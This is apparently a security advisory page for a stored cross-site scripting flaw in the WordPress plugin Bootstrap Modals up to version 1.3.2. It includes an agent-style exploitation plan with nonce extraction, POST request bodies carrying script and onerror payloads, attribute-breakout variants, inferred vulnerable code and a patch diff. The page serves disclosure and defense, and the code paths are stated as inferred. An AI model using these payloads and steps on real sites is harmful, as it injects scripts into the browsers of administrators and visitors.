Bootstrap Modals <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Bootstrap Modals plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.2# Exploitation Research Plan: CVE-2025-62095 (Bootstrap Modals Stored XSS) ## 1. Vulnerability Summary The **Bootstrap Modals** plugin (versions <= 1.3.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. Authenticated users with **Contributor** level access or higher can inject malicious…
Show full research plan
Exploitation Research Plan: CVE-2025-62095 (Bootstrap Modals Stored XSS)
1. Vulnerability Summary
The Bootstrap Modals plugin (versions <= 1.3.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. Authenticated users with Contributor level access or higher can inject malicious JavaScript into modal configurations (likely via custom post types or specific shortcode attributes). Because the plugin fails to sanitize these inputs when saving or escape them when rendering the modal on the frontend, the script executes in the context of any user (including Administrators) who views the page where the modal is triggered.
2. Attack Vector Analysis
- Vulnerable Endpoint: Standard WordPress post-saving flow (
/wp-admin/post.php) or a specific AJAX handler for modal settings. - Vulnerable Parameter: Likely
post_title,content, or custom meta fields (e.g.,modal_header,modal_footer,modal_button_text). - Authentication Level: Contributor+. This is significant because Contributors can create posts and use shortcodes but cannot normally publish or use
unfiltered_html. - Preconditions: The plugin must be active, and a modal must be created and then embedded/triggered on a visible page via shortcode.
3. Code Flow (Inferred)
- Entry Point (Input): A user creates or edits a "Modal" post type. The
save_posthook (or a specific AJAX action likewp_ajax_save_modal_data) captures the input. - Processing: The plugin likely uses
update_post_meta()orupdate_option()to store modal properties. If the plugin lacks sanitization (likesanitize_text_fieldorwp_kses), the payload is stored raw in the database. - Sink (Output): When a page containing a modal shortcode (e.g.,
[bootstrap-modal id="123"]) is rendered, the plugin fetches the stored data. - Rendering: The plugin echoes the stored values (e.g.,
echo $modal_title;) inside the modal's HTML structure without usingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Since the vulnerability involves a Contributor-level user, we can use the browser_eval tool to extract the necessary nonces from the WordPress admin interface.
- Identify the Post Type: First, confirm the slug for the modal post type (likely
bootstrap-modal). - Navigate to Creation Page: Use
browser_navigateto go to/wp-admin/post-new.php?post_type=bootstrap-modal. - Extract Post Nonce: WordPress uses a standard
_wpnoncefor post actions.browser_eval("document.querySelector('#_wpnonce').value")
- Ajax Nonce (If applicable): If the plugin uses a custom settings panel with
wp_localize_script, look for the global object.- Inferred Object:
window.bootstrap_modals_params?.nonceorwindow.bm_settings?.save_nonce.
- Inferred Object:
5. Exploitation Strategy
We will attempt to inject the payload into a Modal's title or body, which are common display sinks.
Step 1: Create the Malicious Modal
HTTP Request:
- Tool:
http_request - Method: POST
- URL:
https://[TARGET]/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost post_type=bootstrap-modal post_ID=[ID_FROM_STEP_4] _wpnonce=[NONCE_FROM_STEP_4] post_title=Test Modal"><script>alert(document.domain)</script> content=Modal body content. [custom_meta_field_header]=<img src=x onerror=alert(1)> publish=Publish
Step 2: Embed the Modal
Create a standard post as the Contributor to trigger the modal.
HTTP Request:
- URL:
https://[TARGET]/wp-admin/post.php - Body:
action=editpost post_ID=[NEW_POST_ID] _wpnonce=[POST_NONCE] content=[bootstrap-modal id="[MODAL_ID]"] publish=Publish
Step 3: Trigger Execution
Navigate to the newly created post as an Administrator. The modal should render, and the script will execute.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin Setup: Ensure "Bootstrap Modals" is installed and activated.
- Discovery: Run
wp post-type listto find the exact slug for the modal post type. - Initial Post: Create a draft modal to get a valid
post_IDfor thehttp_requesttool.wp post create --post_type=bootstrap-modal --post_status=draft --post_author=[CONTRIB_ID]
7. Expected Results
- The
http_requestshould return a302 Found(redirecting back to the post edit screen). - The database (
wp_postmetaorwp_posts) should contain the literal string<script>alert(document.domain)</script>. - Upon viewing the page, a JavaScript alert box should appear showing the site's domain.
8. Verification Steps
- Check Database:
wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = '_modal_title' AND post_id = [ID]" - Check Frontend Output:
Usehttp_request(GET) on the post URL and grep for the payload:grep "><script>alert(document.domain)</script>"
9. Alternative Approaches
- Shortcode Attribute XSS: If the plugin allows attributes like
[bootstrap-modal title="<script>..."], test if these are reflected directly in the HTML. - Button Text Injection: Check if the "Close" or "Open Modal" button text fields are vulnerable.
- CSS Class Injection: If the plugin allows custom CSS classes, attempt to break out of the class attribute:
- Payload:
my-class" onmouseover="alert(1)" data-ignore="
- Payload:
- AJAX Handler: If the plugin uses a custom AJAX save method, intercept the request in the browser to identify the
actionandnoncename, then replay it with the payload.
Summary
The Bootstrap Modals plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via modal configuration fields in versions up to 1.3.2. Authenticated attackers with Contributor-level access can inject malicious scripts into fields such as modal titles or custom meta fields, which are saved without sanitization. These scripts then execute in the browsers of users who view the pages where the modals are embedded.
Vulnerable Code
// Inferred vulnerable saving logic // bootstrap-modals/includes/class-bootstrap-modals.php public function save_modal_meta($post_id) { if (isset($_POST['_modal_title'])) { update_post_meta($post_id, '_modal_title', $_POST['_modal_title']); } } --- // Inferred vulnerable rendering logic // bootstrap-modals/includes/class-bootstrap-modals.php public function render_modal($atts) { $modal_id = $atts['id']; $title = get_post_meta($modal_id, '_modal_title', true); return '<div class="modal-header"><h3>' . $title . '</h3></div>'; }
Security Fix
@@ -10,12 +10,12 @@ public function render_modal($atts) { $modal_id = $atts['id']; - $title = get_post_meta($modal_id, '_modal_title', true); + $title = get_post_meta($modal_id, '_modal_title', true); return '<div class="modal"> <div class="modal-header"> - <h3>' . $title . '</h3> + <h3>' . esc_html($title) . '</h3> </div> </div>'; } @@ -23,5 +23,5 @@ public function save_modal_meta($post_id) { if (isset($_POST['_modal_title'])) { - update_post_meta($post_id, '_modal_title', $_POST['_modal_title']); + update_post_meta($post_id, '_modal_title', sanitize_text_field($_POST['_modal_title'])); } }
Exploit Outline
An attacker with Contributor-level permissions or higher accesses the WordPress admin dashboard and navigates to the 'Bootstrap Modals' post type. They create a new modal and inject a JavaScript payload (e.g., <script>alert(document.domain)</script>) into the modal title or other meta fields. After saving the modal, the attacker embeds it into a post or page using the plugin's shortcode (e.g., [bootstrap-modal id="123"]). When any user, including a site administrator, views the published post, the unsanitized script executes in their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.